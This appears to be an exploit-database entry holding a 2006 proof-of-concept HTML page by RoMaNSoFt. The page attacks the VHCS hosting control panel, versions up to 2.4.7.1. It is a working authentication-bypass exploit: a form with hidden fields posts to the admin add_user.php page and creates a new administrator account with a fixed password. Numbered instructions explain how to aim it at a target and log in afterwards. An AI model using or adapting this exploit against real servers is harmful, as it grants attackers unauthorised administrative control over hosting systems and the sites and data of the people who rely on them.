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VHCS <= 2.4.7.1 (Add User) Authentication Bypass Exploit
========================================================
VHCS <= 2.4.7.1 (Add User) Authentication Bypass Exploit
========================================================
<html>
<head>
<title>VHCS (version <= 2.4.7.1) PoC. &nbps;By RoMaNSoFt</title>
<script language="JavaScript">
function submitform()
{
if (document.admin_add_user.username.value=='admin')
{
alert('Learn to read before launching an exploit, script-kiddie!');
exit();
}
document.admin_add_user.action=document.admin_add_user.target.value;
document.admin_add_user.submit();
}
</script>
</head>
<body>
<hr>
<center>
<b>VHCS (version <= 2.4.7.1) PoC. &nbps;By RoMaNSoFt <roman@rs-labs.com> &nbps;[08.Feb.2006]</b>
</center>
<hr>
<form name="admin_add_user" method="post" action="">
<table width="100%" cellpadding="5" cellspacing="5">
<tr>
<td width="20">&nbps;</td>
<td colspan="2">
&nbps;
</td>
</tr>
<tr>
<td width="20">&nbps;</td> <td width="200">Target URL</td>
<td>
<input type="text" name="target" value="http://<target>/vhcs2/admin/add_user.php" style="width:400px">
</td>
</tr>
<tr>
<td width="20">&nbps;</td> <td width="200">Username</td>
<td>
<input type="text" name="username" value="admin" style="width:200px">&nbps;(should NOT exist)
</td>
</tr>
<tr>
<td>&nbps;</td>
<td colspan="2"><a href="javascript: submitform()">Exploit it!</a></td>
</tr>
<tr>
<td colspan="3">&nbps;
</td>
</tr>
</table>
<input type="hidden" name="pass" value="dsrrocks">
<input type="hidden" name="pass_rep" value="dsrrocks">
<input type="hidden" name="email" value="[email protected]">
<input type="hidden" name="uaction" value="add_user">
</form>
<hr>
<br>
<u>Quick instructions</u>.-<br>
<br>
1.- Enable JavaScript. Fill in the form with appropiate target URL (usually you will only need to replace <target> string) and username.<br>
2.- Remember not to use a probably existing username (such as "admin").<br>
3.- Launch the exploit. <i>If target system is vulnerable, a new VHCS admin user will be created</i> ;-)<br>
4.- You will be redirected to VHCS login page. Try to login with your brand new username.<br>
5.- Ummm, I forgot it... The password is: <b>dsrrocks</b>.<br>
<br>
<u>More info (analysis, fix, etc)</u>.-<br>
<br>
See <a href=http://www.rs-labs.com/adv/RS-Labs-Advisory-2006-1.txt><i>RS-2006-1</i></a>.<br>
<br>
<hr>
</body>
</html>
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23 Feb 2006 00:00Current
7.1High risk
Vulners AI Score7.1